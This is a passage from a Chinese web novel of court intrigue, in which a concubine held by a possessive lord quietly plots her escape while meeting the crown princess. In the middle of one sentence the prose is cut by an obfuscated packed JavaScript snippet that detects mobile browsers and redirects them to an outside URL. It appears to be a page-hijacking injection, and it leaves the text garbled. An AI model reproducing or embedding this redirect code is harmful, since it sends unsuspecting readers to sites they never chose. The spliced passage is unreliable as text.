这一日,姜于归从普渡寺上香归来,时辰尚早,许是秋日阳光正好,驱散了些许连月来积压在心底的阴霾,她并未像往常那般径直回府,而是吩咐车夫绕道去了西市一家颇负盛名的点心铺子。 马车停稳,素馨先行下车,目光如常般谨慎的扫过四周,确认无异,方才回身,小心翼翼的扶姜于归下车。 就在她莲步轻移,即将踏入酥香记的门槛时,一旁停着的一辆看似朴素,实则木料与做工皆显不凡的青幔小车里,也盈盈步下一位贵妇。 那妇人约莫二十三四年纪,容貌端庄明丽,肌肤细腻,眉不描而黛,唇不点而朱,通身的气度沉静温婉,行动间自带一股春风化雨般的雍容。 那是久居上位,浸润在锦绣堆里才能养出的韵致。 两人几乎同时走到门口,那朱漆门槛狭窄,仅容一人安然通过。 姜于归下意识的顿住脚步,侧身微让,姿态恭谨而疏离。 这是长久被禁锢,不愿招惹是非生涯中养成的习惯。 那贵妇目光在姜于归身上不着痕迹的停留了一瞬,眼底掠过一丝极淡的欣赏与考量,随即唇角扬起一抹恰到好处的温和笑意,缓缓开口道:“妹妹先请。” 姜于归声音轻柔,却带着明确的界限感:“夫人先请便是,妾身不急。” 那贵妇却笑道:“一同进来便是,这门也不算窄。” 说着,竟十分自然伸出手,虚虚扶了姜于归手臂一下,姿态亲昵得仿佛多年故交,分寸拿捏得极好,让人难以拒绝,却又心生异样。 姜于归身体几不可察的一僵,纱巾下的秀眉微蹙。 这妇人......似乎有些热情得有些过了。瞬间让姜于归如同被柔软的蛛网拂过,生出几分难以言喻的不自在。 她借着整理衣袖的动作,不着痕迹的摆脱了那虚扶的手,低声道谢,语气依旧平淡,听不出喜怒:“多谢夫人。”。 两人一同进了铺子,店内糕饼甜香与蜜饯果香馥郁交融,各式精巧点心琳琅满目,盛在洁白的瓷盘里煞是好看。 那贵妇似乎对此道颇为精通,轻声细语点了几样招牌,又转头看向姜于归,笑吟吟的问:“妹妹喜欢什么口味的?这家的枣泥山药糕做得极好,软糯清甜,最是不腻人。” 姜于归心中警惕更甚,只想尽快结束这莫名的交集。 她依着那贵妇的推荐,轻声道:“那便也来一盒枣泥山药糕吧。” 等候伙计打包的间隙,那贵妇状似无意的攀谈起来,目光温和的落在姜于归身上:“瞧妹妹面生,想是不常来这里走动?方才见妹妹下车时,那通身的气派,从容淡然,倒不似寻常人家娇养出来的女儿。” 姜于归心头微紧,她斟酌着词句谨慎应答,不愿多露半分信息:“夫人谬赞,妾身平日甚少出门,不过是寻常妇人罢了。” “哦?” 贵妇眉眼弯弯,笑意更深,那目光却仿佛能穿透轻纱。 她语笑嫣然,态度恳切,全然一副一见如故的模样:“我瞧妹妹却甚是投缘,我娘家姓沈,夫家行商,常往来各地。妹妹若是不弃,唤我一声沈家姐姐便是。” 沈? 姜于归心中划过一丝微澜,这姓氏在盛京虽非独一份,但能与雍容气度,行商夫家联系起来的...... 姜于归对盛京的门户并不清楚,自然也想不出个究竟,她并未深思,也不愿深思。 这过分的热情已让她心生退意,恰好伙计将点心包好递来,素心接过,姜于归再次开口,语气疏淡却礼数周全:“夫人慢选,妾身先行一步。” 说罢,不再给那沈夫人开口的机会,带着素馨和秋实步履从容却坚定的离开了酥香记,登上马车,吩咐即刻回府。 马车辘辘而行,姜于归才轻轻吁出一口浊气,将心底那点因莫名被打扰而生的烦躁压下。 她并未将这段小插曲过多放在心上,只当是遇到了一位格外热心肠的贵妇,很快便将此事抛诸脑后。 然而,一丝极细微的念头,如同投入静湖的石子,在她心底漾开了一圈几不可察的涟漪。 若能正常交际,而非只有初一十五的外出,能拥有合理的,不受限制的出入自由,该多好。 回到汀兰水榭,刚换下外出衣物,姜于归还未坐定,便听得门外传来沉稳熟悉的脚步声。 珠帘轻响,容璟一身墨色暗纹常服,缓步走了进来,室内似乎因他的到来,空气都凝滞了几分。 容璟挥手,素馨和秋实无声退下,并细心的掩上了门。 容璟走到她身前,目光沉静,落在她犹带一丝水汽的侧脸上,语气平淡,听不出情绪:“今日出门,可还顺心?” 姜于归正对镜梳理着方才被微风拂乱的几缕发丝,闻言,执梳的手微微一顿,并未回头,只从镜中看着他模糊的倒影,唇角勾起一抹清浅却冰冷的弧度。 “世子何必多此一问?我身边何时少过你的耳目?见了什么人,说了什么话,只怕你知道得比我这亲身经历者还要详尽三分。” 姜于归语带讥讽,像一根细小的冰刺,直直扎过去。 容璟眸色微沉,显然不喜她这般带刺的模样。 他上前一步,不由分说的握住她纤细的肩头,力道不容抗拒,轻易便将她的身子转过来,顺势拉她坐在自己坚实的大腿上。 姜于归下意识的挣扎了一下,腰肢却被他铁箍般的手臂牢牢锁住,动弹不得。 她索性不再白费力气,身体却僵硬的挺直,无声的表达着抗拒。 容璟低头,温热的呼吸拂过她敏感的耳廓,声音压得低低的,带着一□□哄,更藏着一丝不容置疑的掌控:“暗卫是为了护你周全,我更想听你亲口对我说说外面的见闻。于归——” 他顿了顿,指尖抚上她微蹙的眉间,语气竟带上了几分难以察觉的,近乎叹息的意味:“我们难道要一辈子如此?永远这般......相敬如‘冰’?” 姜于归蹙了蹙眉,心底那股悲凉与怨恨交织翻涌。 一辈子?与他捆绑在这金丝牢笼里,互相折磨一辈子吗? 姜于归压下心间的怒意,深知容璟的偏执,若不如他的意,不知又要纠缠到几时。 她不耐的偏头,避开他指尖的触碰,语气带着几分敷衍的无奈,将酥香记前遇到那位沈夫人的经过简明扼要的说了一遍,末了淡淡道:“不过是一位过于热情的夫人说了几句闲话,我觉得不自在,便买了点心回来了。” 姜于归语气平淡无波,仿佛在叙述一件与己无关的琐事。 容璟静静听着,指间缠绕着她一缕带着皂角清香的青丝,漫不经心的把玩。 等姜于归说完,他才抬起眼,目光锐利如鹰隼,锁住她的眼眸,缓缓开口,语气平淡却掷的有声:“那人可不是什么普通的贵妇人,她是当朝的太子妃。” 听闻此话,毫不意外姜于归猛的抬头,眼中是无法掩饰的惊愕。 “太子妃?” 一丝冰冷的寒意悄然爬上脊背。 太子妃那般尊贵的身份,怎会如此恰好出现在一家点心铺子前?又怎会对她一个普通人如此热情主动,近乎刻意的攀谈结交?那看似温和亲切的笑容,那状似无意的肢体接触,那声声妹妹与投缘...... 此刻回想起来,处处都透着精心算计的味道,如同早已编织好的蛛网。 心念电转,姜于归瞬间明了。 是了,太子与睿王一派的党争早已势同水火,这在盛京中并非秘密,双方都想多拉一些助力和筹码,而容璟这位手握实权,态度却始终暧昧不明的表弟,就是最佳人选。 从容璟本人那里难以正面突破,便自然而然的将目光投向了他身边看似最受重视,或许能吹动枕边风的女人身上。 自己竟成了太子妃眼中,可以用来牵制,甚至影响容璟的一枚棋子?这认知让姜于归感到一阵荒谬的讽刺,却又在心底最深处,悄然撬动了一丝微光。 看着姜于归震惊的瞳孔,容璟不紧不慢的闻:“你觉得,她为何找你?” 姜于归很快镇定下来,她知道,这是一个关键时刻。 她不能表现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17148196|191826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得无知,也不能显得热衷。 姜于归微微垂眸,再抬眼时,目光已是一片清明冷静,带着一种就事论事的,近乎残忍的坦然。 “你之前说过,永嘉公主与睿王意图联合镇北王行不轨之事,太子妃此时找我,自然是想通过我,来联系你,稳固太子的立场,或者说,确认你的立场。” 说罢,姜于归顿了顿,似乎在艰难的组织语言,带着几分刻意流露的,不愿提及却又不得不提的痛苦。 “慕容林晏的入狱和......身死,与永嘉公主,睿王脱不了干系。那么,与太子,太子妃有所来往,或许......有利于将来查清他的案子,还他一个清白。” 果然!慕容林晏四字一出,如同触动了逆鳞,容璟扣在她腰际的手瞬间收紧,力道大得几乎要捏碎她的骨头。 他眸底风云骤变,戾气翻涌,周身散发出迫人的寒意,连空气都仿佛凝固了。 姜于归感受着他身上散发出的冰冷怒意,心中冷笑,面上却不动声色,话锋紧接着一转,语气变得更为直白,甚至带着点剖析利害的尖锐,仿佛刚才提及林晏,也只是为了佐证与太子合作的必要性。 她毫不胆怯的迎上容璟的眼睛:“再者,你当初在长街之上拂了永嘉的脸面,公主府之事又让永嘉永福颜面尽失,听说你还拒了陛下的赐婚。桩桩件件,想来你与睿王他们早已势同水火,再无转圜。敌人的敌人便是朋友,这个道理再简单不过,太子妃找上我,不足为奇。” 姜于归这番话说得条理清晰,完全是从政治利益和自身处境角度分析,冷静得近乎无情。 容璟心中的滔天怒火,因她后面这番客观冷静到近乎冷酷的分析,奇异的被压制下去些许。 他看着她,觉得她似乎真的在尝试将那该死的过去埋葬,开始用容璟侧夫人的身份,清醒的思考他们共同的处境和......未来。 姜于归将他眼底那细微的,自以为了然的神色变化看得分明,她知道,容璟已经一步步走入她精心引导的思维陷阱。 她趁热打铁,语气陡然变得嘲弄,带着一种破罐破摔的,近乎残忍的坦诚,仿佛已彻底看穿了他的心思:“我知道你在想什么,你是不是觉得,我终于想通了,开始为你,为我们打算了?” 她抬起眼,目光锐利如刀,直直刺入容璟眼底,嘴角噙着一抹冰冷的,带着恨意却又不得不屈从现实的冷笑:“容璟,我告诉你,如果可以,我宁愿永远不再提起慕容林晏这四个字,更不想与什么太子妃,什么朝堂争斗有半分瓜葛!” 说罢,姜于归深吸一口气,像是要将满腔的怨愤与不甘都压下,声音里带着一种认命般的决绝:“可我现在是你的人,被你牢牢拴在这府里,与你一荣俱荣,一损俱损!若是你和太子失败了,睿王上位,或许永福公主对你痴心一片,会求她哥哥网开一面,让你做个如赵珩之流的面首,好歹能留下一条性命。 可我就不一样了!永嘉公主恨我入骨,永福公主视我为眼中钉,到那时,我只会比慕容林晏死得更惨!” 姜于归迎着容璟骤然变得阴沉骇人的目光,毫不退缩,甚至带着一种奇异的,仿佛在情绪上凌驾于他的冷静。 “所以我不想,也不能让你失败!至少,在扳倒睿王之前,不能!” 在她成功逃离这令人窒息的牢笼之前,容璟必须好好的,她才能有机会。 与太子妃结识,正是她撬动囚笼,筹备逃离的绝佳机会,她必须把握住。 容璟听着姜于归这番堪称大逆不道,却又现实得刺骨的话,尤其是她竟敢将他与赵珩那等以色侍人的玩物相提并论,一股混杂着暴怒与被冒犯的邪火猛的窜起,直冲顶梁。 可奇异的是,在这熊熊怒火之下,竟涌动着一股更强烈的,扭曲的狂喜与满足。 姜于归在思考他们的未来!她在用她那清醒得可怕的头脑,为他们共同的利益和安危做打算! 她虽然话语带刺,句句如刀,但这份毫不掩饰的,近乎残酷的直白和坦诚,在他看来,远比之前那种死寂的漠然,或是癫狂的恨意要好上千百倍! 姜于归终于肯正视他们被捆绑在一起的现实,终于肯用她的智慧,来为“我们”筹谋了! 不过对于他如赵珩之流的比喻,还是让他生气! “面首?” 容璟气极反笑,眼底却冰寒一片,搂着她的手臂再次收紧,几乎要将她纤细的腰肢折断,低沉的声音里蕴含着风暴,这简直是对他最大的侮辱! “姜于归,你竟敢拿本世子与赵珩那等货色相比?” 姜于归感受着容璟身上散发出的危险气息,却并未像以往那样露出惧色。 她甚至微微扬起了下巴,带着一种破罐破摔后反而无所畏惧的,近乎挑衅的冷静,清冷的眼眸直视着容璟翻涌着怒意的深眸,语气轻飘却笃定:“就比了,如何?” 她此刻,在心理上,竟奇异的占据了一丝上风,仿佛看穿了他所有的软肋和渴望,用一种近乎上位者的冷静,掌控着他的情绪起伏。 这轻飘飘的四个字,如同点燃了最后的引线。 容璟猛的低头,狠狠吻了姜于归的唇,不再是惩罚,更像是一种宣告,一种急于确认所有权,尤其姜于归那番“我们”言论。 他想用最直接的方式让姜于归知道,他容璟是执棋之人,是掌控者,绝非他人掌中可以随意摆布的玩物! 而她,也只能是他棋局中,最珍贵,永远无法被取代,必须与他共存亡的那一枚! 姜于归没有像最初那般剧烈挣扎,也没有如后来那般如同失去灵魂的木偶般僵硬承受。 许是那番“坦诚”耗尽了她所有伪装的气力,许是心底那逃离的计划让她生出一种孤注一掷的勇气,她的身体,竟有了一丝极其微弱的,几不可察的软化与接纳,虽然依旧被动,却不再是一块冰冷的石头。 这细微到极致的变化,却被感官敏锐至极的容璟清晰的捕捉到了。 他心中那扭曲的狂喜瞬间达到了顶峰! 看,她果然在改变!在向他靠近!他更加沉迷于这场带着征服与确认意味的纠缠之中,将她的那丝微弱回应,无限放大为他期待已久的曙光。 而姜于归,在他看不到的角落,缓缓闭上了眼睛。 身体的些微波澜很快平息,心底却是一片冰封的冷静与决绝。 她的顺从,她的那丝微弱接纳,不过是麻痹他的手段,是换取他信任与放松警惕的筹码。 在他以为渐渐收复失地,沉浸于这虚假的温情时,她在他构建的铜墙铁壁里,正小心翼翼,耐心寻找着那唯一的缝隙。 她想,太子妃之后定然还会寻机偶遇,她必须抓住这个机会,借着与太子妃来往的东风,为自己争取更多走出这囚笼的时间与空间,细致筹划那渺茫却唯一的生路逃离。 窗外的秋阳渐渐西斜,将房间内纠缠的身影拉长,一室曖昧升温的空气中,弥漫着的是温情脉脉假象之下,各怀心思的暗潮汹涌。 容璟在编织着共同未来的幻梦,姜于归在谋划着独自远遁的路径,爱与恨,掌控与逃离,在这秋日的午后,危险的交织,碰撞。 色凄清,如一层冰冷的薄纱,笼罩着庭院,也笼罩在姜于归的心上。 自那日在酥香记与太子妃“偶遇”归来,已过去十余日。府中一切如常,容璟依旧会来,或询问起居,或沉默对坐,夜间索取也带着不容置疑的强势。 秋意渐深,普渡寺的香火依旧鼎盛。 姜于归照例上香祈福,烟雾缭绕中,她的神情平静无波,仿佛真是一位虔诚的信女。 刚一出大殿,一位衣着素净,气度却不容小觑的侍女便悄无声息的近前,低眉顺眼的福了一礼:“这位夫人,我家主人在后方禅院备了清茶,想邀请您移步一叙。” 姜于归微微侧头打量着对方,心下了然,面上却适时露出一丝恰到好处的疑惑与谨慎,看向身旁的素馨。 那侍女见此微微一笑,补充道:“主子说,是酥香记的故人。” 素馨眼神一凛,上前半步,似要阻拦,姜于归却轻轻抬手止住了她,语气平淡无波:“既是故人相邀,不好推辞,你在外间等候便是。” 她这是在告诉素馨和秋实,也是在告诉隐在暗处的眼睛,她知晓分寸,不会脱离监视范围。 禅房幽静,檀香袅袅,太子妃沈氏此次未做任何伪装,穿着一身杏子黄缕金百蝶穿花云锦裙,整个人雍容华贵,正坐在窗边的茶榻上,含笑看着她。 姜于归脚步一顿,脸上瞬间流露出恰到好处的惊愕,随即立刻垂首,快步上前,行了一个标准而恭谨的万福礼:“妾身姜氏,参见太子妃娘娘,上次不知娘娘凤驾,多有失礼,请娘娘恕罪。” 太子妃立刻起身,亲手虚扶起她,语气温和亲昵,带着不容拒绝的力道:“快请起,是本宫上次唐突了,未曾表明身份,只因与妹妹一见如故,不愿以身份相压,生怕说了身份,反倒让妹妹与我生分了,这才唐突了。” 她拉着姜于归的手起身,而后一同在茶榻坐下,目光真诚的端详着她:“今日再见妹妹,这通身的气度,愈发觉得投缘。” 姜于归微微垂眸,姿态恭谨:“娘娘凤姿,妾身不敢攀比,上次蒙太子妃娘娘厚爱,已是惶恐。” 太子妃亲自执壶,为她斟了一杯热茶:“莫要说这些见外的话,潜玉与太子是表亲,你现在是潜玉的侧夫人,与本宫也不算什么外人,潜玉的性子本宫是知道几分的,冷硬惯了,难为妹妹在他身边,想必多有不易。” 说到最后,太子妃轻轻一叹,话语里充满了共情与理解。 姜于归指尖微颤,没有接话,只是沉默的端起茶杯,这沉默在太子妃看来,便是无声的默认与委屈。 太子妃见状,语气愈发温和,话锋却悄然转向:“如今朝中看似太平,实则暗流汹涌,一些忠良之士,只因不肯同流合污,便蒙冤受屈,实在令人痛心。” 太子妃话语模糊,却足以让姜于归联想到林晏之案,以及对太子威胁最甚的睿王一党。 见姜于归还是沉默不语,太子妃继续道:“太子殿下日夜忧心,只盼能肃清朝纲,还天下一个清明,让逝者安息,生者无愧。” 说到这里,太子妃目光恳切的看向姜于归:“潜玉身份特殊,能力卓绝,他的态度,于朝局而言,举足轻重。有些话,我们不便直言,但妹妹在他身边,若能时常劝慰一二,使他明辨是非,站在道理公义这一边,便是于国于民,都立了大功了。” 她并未提及任何具体的人或案,但道理公义指向何方,彼此心照不宣。 姜于归面上却依旧是那副顺从的模样,轻声道:“朝堂大事,妾身一介女流,不敢妄议,世子自有主张,妾身......人微言轻,只怕难当此任。” 太子妃笑了笑,不再紧逼,转而道:“转眼秋深,东宫苑内几株罕见的绿牡丹还有墨荷开得正好,本宫想着邀几位投缘的知己一同品鉴,妹妹气质清雅,必是懂花惜花之人,不知后日的赏菊宴,妹妹可否赏光前来?” 姜于归知道,这才是今日的重头戏,若是她去了,便是代表了容璟的意思,参加了太子妃宴会,其意不言而喻。 姜于归沉吟片刻,并未立刻答应,只道:“能得娘娘青眼,是妾身的福分。只是......此事还需禀明世子,由他定夺。” 太子妃了然点头:“这是自然。” 回到汀兰水榭,姜于归并未耽搁,在容璟晚间过来时,便主动将今日之事和盘托出,语气平静得像是在叙述别人的事情。 “太子妃娘娘言语间,似对朝局颇有忧虑,希望世子能明辨是非,助力东宫,妾身人微言轻,不敢应承什么,只是觉得,太子妃亲自相邀,若断然拒绝,恐被东宫视为世子无意亲近的信号,平白树敌。故而妾身以为,此行或可一探东宫虚实,或许能有所得。” 姜于归仔细观察着容璟的神色,见他眸色深沉,看不出喜怒,便又添了一句,以退为进:“当然,若世子觉得妾身身份低微,不宜出席这等场合,或另有考量,妾身便寻个由头,回了太子妃便是。” 容璟把玩着手中的茶盏,良久,才缓缓开口,声音听不出情绪:“你想去?” 姜于归迎上他的目光,不闪不避:“妾身只是想,若能在不损害世子利益的前提下,为世子分忧,便是妾身的本分。” 这句话精准的取悦了容璟,他喜欢看到姜于归现在开始用“我们”的视角思考问题,尤其喜欢她这份试图为他分忧的姿态,哪怕他知道这其中或许仍有算计,但也证明姜于归终于认清了现实,她的命运已与他牢牢捆绑。 容璟终于松口,语气带着惯有的掌控感:“想去就去!你是本世子的侧夫人,出门在外,代表的是我国公府的脸面,谨言慎行,勿失分寸。届时,长青会为你安排好一切。” —————— 赏菊宴那日,东宫花园内果然名品荟萃,太子妃邀来的宾客不多,皆是亲厚之家的女眷,气氛看似融洽。 姜于归穿着一身藕荷色绣缠枝玉兰的衣裙,打扮得既不张扬也不失礼,安静的跟在引路侍女身后。 然而,该来的风波从不迟到。 永福公主一身娇艳的玫红色宫装,在一众素雅秋色中格外扎眼,她一眼便瞧见了姜于归,嘴角立刻撇了下去,声音不大不小,恰好能让周围人都听见:“哟,这不是容世子心尖儿上的人吗?今日这是什么风,把一个侧室也吹到东宫的赏菊宴上来了?竟也能与我等平起平坐了?” 瞬间,几道目光明里暗里的落在了姜于归身上。 姜于归脚步一顿,随即从容转身,面向永福,规规矩矩的行了一个礼,声音平静无波:“永福公主殿下金安,妾身确为侧室,今日蒙太子妃娘娘不弃,邀来赏菊,心中唯有感激,太子妃仁德,愿与民同乐,体恤下情,妾身唯有恪守本分,静赏秋色,不敢有半分逾越之心。” 姜于归这番话姿态放得极低,却句句在理,既全了礼数,又将太子妃捧到了一个仁德体恤的高度,反衬得永福的刁难有些小家子气。 永福被她这不软不硬的钉子顶回来,脸色顿时更加难看。 就在这时,一个更冷冽的声音插了进来,永嘉公主缓步走近,目光如淬了毒的刀子,在姜于归身上刮过。 “本宫倒是忘了,你与那已故的慕容探花,可是旧相识,如今他坟头草已丈高,尸骨无存,你却在此锦衣华服,攀附权贵,当真是......情深义重啊。” 尸骨无存四个字像一把烧红的匕首,狠狠捅进了姜于归的心窝,她脸色骤然失去血色,身形几不可察的晃了一下,袖中的指尖深深掐入掌心,才勉强维持住站立。 她抬起眼,看向永嘉,那双原本平静的眸子里,此刻是克制不住的,冰冷的恨意,但她的语气,却异常清晰,甚至带着一种奇异的冷静。 “公主殿下说的是,故人已逝,万事皆空,正因如此,活着的人才更应珍惜眼前,明辨是非,以免......重蹈覆辙。” 姜于归的话在旁人听来,是认命,是表态,是决心跟着容璟和太子走,唯有永嘉和姜于归自己明白,那重蹈覆辙四字里,蕴含着怎样惊心的警告与仇恨。 眼看气氛僵持,太子妃适时的出现了,她亲切自然的挽起姜于归的手臂,仿佛没看见永嘉姐妹难看的脸色,笑着打圆场:“永嘉皇姐何必总是提那些陈年旧事,没得扰了大家赏花的雅兴,于归妹妹如今是潜玉的侧夫人,乖巧懂事,深得我心,今日良辰美景,只赏花,不谈其他,可好?” 太子妃这番举动,等于是在众人面前,正式将姜于归划入了自己的保护圈,也向所有人宣告了容璟与东宫的亲近关系。 永嘉公主脸色铁青,那双凤眸里几乎要喷出火来,死死盯着太子妃挽着姜于归的手臂。 她贵为公主,何曾受过这等憋闷气,尤其是在她一向看不上的姜于归这样一个微贱出身的侧室面前! 然而,这是在东宫,太子妃是主,她是客,再多的怒火也只能硬生生咽下。 永嘉冷哼一声,拂袖转身,走到一旁,再也无心赏什么劳什子菊花。 李 这场赏菊宴,最终在一种诡异而沉闷的气氛中草草收场,消息如同长了翅膀,很快便飞到了睿王府。 “砰——”一声脆响,上好的官窑茶盏被狠狠摔在地上,碎瓷四溅,睿王脸色阴沉得能滴出水来,胸膛剧烈起伏着。 “容璟!好一个容潜玉!他这是铁了心要跟太子绑在一起,跟本王作对了!” 说罢,睿王他猛地转头,目光如利箭般射向坐在下首,同样脸色难看的永嘉公主。 “都是你!成事不足,败事有余!若不是你当初非要招惹那个姓姜的女人,把事情闹得那般难堪,现在事情也不至于如此发展!” 永嘉公主本就憋着一肚子火,此刻被睿王指着鼻子斥责,顿时也怒了,霍然起身:“四弟如今倒来怪我了?当初若不是为了替你筹措那些银钱,我何至于去动户部的念头,又怎会惹上慕容林晏那个硬骨头!如今我内府司的权柄被夺,女儿也被接入宫中,我还没叫屈,你倒先怪罪起我来了!” 睿王更是火冒三丈:“你还有脸说!若不是你行事不密,留下把柄,何至于此!如今倒好,你失了势,帮不上忙也就罢了,还平白给本王树了容璟这样一个强敌!你知不知道他手里握着多少东西?他这一倒戈,太子如虎添翼!本王多年的筹谋,都要因你而受阻!” 兄妹二人在这厅内吵得不可开交,往日的兄妹情谊,在赤裸的利益得失面前,显得如此脆弱不堪。 而在公主府内,永福公主更是伏在锦被上哭得肝肠寸断,一想到他维护姜于归的身影,还有拒婚的情景,加上现在他倒向东宫,彻底与睿王对立,那她想嫁给容璟的可能性更加遥遥无期,甚至绝无可能了。 一想到此,永福只觉得心口一阵绞痛,而眼下睿王和永嘉还吵得不可开交,永福哭的更是伤心。 而宴席散后的另一边,姜于归坐在回府的马车上,身心俱疲,却又感到一种异样的清醒。 永嘉公主那淬毒的目光和话语,如同最有效的清醒剂,让她更加坚定了逃离的决心。 而与太子妃建立的这条线,便是她在那铜墙铁壁上,找到的第一道细微的裂缝,她必须小心翼翼的沿着这道裂缝,撬开通往自由的希望。 而容璟,在听完长青关于宴会上种种的详细汇报后,对姜于归那句重蹈覆辙的解读,自然是满意于她的识时务与表态。 他觉得自己正在一步步赢得这场战争,却不知他所以为的俘虏,正在他亲手提供的舞台上,悄然编织着另外的戏码。 99. 第 99 章 秋意渐浓,国公府后的演武场上,容璟一身利落的玄色骑射服立于场中,身姿如孤峰青松,自成一片天地。 他挽弓搭箭,动作行云流水,臂膀与腰背拉出充满力量感的漂亮线条,目光锐利如鹰隼,紧紧锁定远处的箭靶。 “嗖——!” 弓弦震响,箭矢如一道黑色闪电疾射而出,精准无比地没入靶心,箭身因余力而微微颤动,发出低沉的嗡鸣。 姜于归站在不远处的回廊阴影下,仿佛一尊沉默的玉雕。 她静静望着,目光看似落在箭靶上,实则眼角的余光,将场中那个耀眼的身影一丝不落地纳入眼中。 当容璟策马回旋,马蹄踏起细碎草屑,秋日金色的阳光恰好勾勒出他矫健流畅的身形轮廓,和那专注而冷峻的侧脸时,姜于归的眼中,如同被投入石子的深潭,骤然荡开了一圈涟漪。 那不再是平日里的冷漠与梳理,而是一种毫无预兆,难以掩饰的......倾慕与崇拜。 她的目光不由自主的紧紧追逐着容璟的身影,眼神在这一刻亮得惊人,专注得仿佛整个世界都虚化了,只剩下场中那个挽弓驰骋,掌控一切的男人。 然而这光芒只持续了一瞬,几乎是立刻,她像是被这不该有的情绪烫到,又像是被心底某个无形的枷锁勒紧,猛地垂下眼睫,纤长的手指无意识地死死攥紧了裙裾,指节泛白。 脸上迅速掠过一丝清晰的慌乱与深刻的自我厌弃,她仿佛无地自容般迅速转过身,不再看向那身影。 犹豫仅在一念之间,姜于归便快步离去,只留给场域一个略显仓惶和落寞的侧影,仿佛在为自己方才那片刻的失神与动摇感到羞愧难当。 转身的刹那,姜于归眼底所有伪饰的情绪褪去,只剩下冰封的算计。 她知道,鱼儿已经看到了诱饵。 姜于归这一切细微至极致的变化,那瞬间的惊艳与随之而来的挣扎,尽数落入了刚刚转头,恰好捕捉到她眼神的容璟眼中。 那一刻,容璟的心像是被一柄无形的重锤狠狠撞了一下! 他先是一怔,持弓的手僵在半空,随即,一股难以言喻的,滚烫的狂喜如同积蓄已久的岩浆,轰然从他心底最深处喷涌而出,瞬间流向四肢百骸,烧得他指尖都在微微发麻! 她看他了!用那种他从未在她眼中见过的,纯粹的,带着光亮的,仿佛他是她整个世界中心的眼神! 尽管她立刻就像受惊的小鹿般逃避开,但那瞬间毫无伪饰的惊艳与崇拜,做不得假! 容璟握着弓背的手指下意识地收紧,力道大得指节泛出青白色,可他心底那头名为占有的野兽,却发出了前所未有的,满足而愉悦的喟叹。 连日来因朝局和监视而紧绷的神经,奇异的松弛了下来,一种混合着得意,满足和某种扭曲怜惜的情绪,如同温热的潮水,充斥着他的胸腔。 他懂了。 容璟瞬间在脑中完成了所有的逻辑自洽,是了,姜于归并非对他无动于衷。 想想也是,即便她曾经喜欢慕容林晏又如何?一个已死的,相处短暂的男人,如何比得上他日日夜夜的陪伴与拥有? 姜于归现在和他相处的时间,早就已经超过了当初的林晏,再者当初她和慕容林晏之间,又并非朝夕相处,不过是在慕容林晏查案至于,才和她有短暂的接触,哪里比得上他呢? 所以想来,其实姜于归和慕容林晏的感情也并没有深到非他不可的地步。 姜于归现在的反应,不过是因那该死的死人横亘在心间,让她觉得对旧情变心是种不道德的背叛。 她在为此痛苦,在挣扎,在自我谴责。 这个认知,让他看姜于归近日所有顺从的背后,都蒙上了一层欲拒还迎的暧昧色彩。 是夜,帐暖香浓,红烛高烧。 容璟比以往任何一次都要耐心,甚至称得上温柔缱绻。 他俯身,在姜于归汗湿的鬓边落下细密而灼热的吻,声音低沉而笃定,带着一种前所未有的,仿佛洞察一切的安抚意味,每一个字都敲在姜于归的心弦上:“于归,承认吧,你是爱我的,你的身体,你的眼神,都比你的嘴更诚实。” 他骨节分明的手指轻轻抚过她紧闭的,微微颤抖的眼睑,语气近乎诱哄,带着不容置疑的强势:“不必觉得对不起谁,逝者已矣,活着的人总要向前看。顺从你的本心,不要再为此痛苦了。” 姜于归始终紧咬着下唇,沉默着没有回应,仿佛在坚守最后一道防线。 但她的身体,不再是最初的僵硬抵抗,也不是后来的麻木承受,而是在他持续而耐心的攻势下,有了细微的,本能的颤抖与一丝几不可察的回应。 这无声的动容,比任何言语的臣服都让容璟心潮澎湃,志得意满。 容璟觉得自己终于拨开了迷雾,触摸到了姜于归紧闭心门后最真实的,为他而跳动的心脏。 在这种巨大成就感的驱使下,他主动提及,语气是毫不掩饰的宠溺:“过几日秋猎,你随我一同去吧,届时给你猎只火狐,毛色最鲜亮的那种,给你做个围脖,定然衬你。” 姜于归闻言,眼睫难以抑制的轻轻颤动了一下。 她没有立刻回答,目光却不由自主的飘向窗外无边的朦胧夜色,仿佛能穿透那厚重的黑暗,看到某种遥不可及的自由。 过了好一会儿,她才用带着一丝不易察觉的向往,又强自压抑,生怕泄露太多心事的语气,轻声说:“我......不想只看着,世子,我想学骑马。” 容璟抚摸她长发的手,几不可察地微微一顿:“学骑马?” 眸中方才的温情褪去些许,锐利的审视如同鹰隼瞬间回归,声音里带上了惯有的,冰冷的探究:“为什么突然想学这个?” 来了,姜于归心中冷笑。 果然,容璟从未真正放下过戒心,但面上,姜于归却是一片坦然的平静,甚至微微蹙起眉头,带着点被最亲近之人质疑的委屈。 姜于归转过头,坦然迎上容璟审视的目光,语气自然得像是在讨论今天天气很好,眼神清澈得不见一丝杂质:“不为什么,就是想学。我听闻,盛京许多高门贵女都会骑射,既能强身健体,出行也便宜,陛下都允女子经商自立,民风开化,我......我只是不想显得太异类,平白让人看低,给你丢脸。” 姜于归的理由合情合理,神色坦然无伪,甚至最后那句不想给你丢脸,精准说到了容璟内心深处隐秘的,关于占有和炫耀的痒处。 是啊,他容璟的女人,怎能被那些庸脂俗粉比下去? 他应该给她最好的,让她在任何场合都光芒四射,足以匹配他的身份,成为他荣耀的一部分。 先前因姜于归那爱慕眼神而滋生的巨大满足感和掌控自信,此刻再次汹涌的占据了上风。 容璟看着姜于归那双清澈见底的眼眸,觉得自己方才那瞬间因习惯性多疑而升起的警惕,实在是......多余,甚至有些可笑。 一种奇妙的,近乎奉献与弥补的心态油然而生。 他想起幼时,在那冰冷复杂的家族中,无论他表现得多优秀,渴望得到的纯粹关注与认可,总是求而不得,让他觉得自己的情感和需求从不重要。 可此刻,眼前这个女人,她在意的是他这个人本身,会为他的英姿而倾倒,会因他的靠近而颤抖。 原来这个世上,也会有人不问身份富贵,只因他是容璟而看着他,需要他。 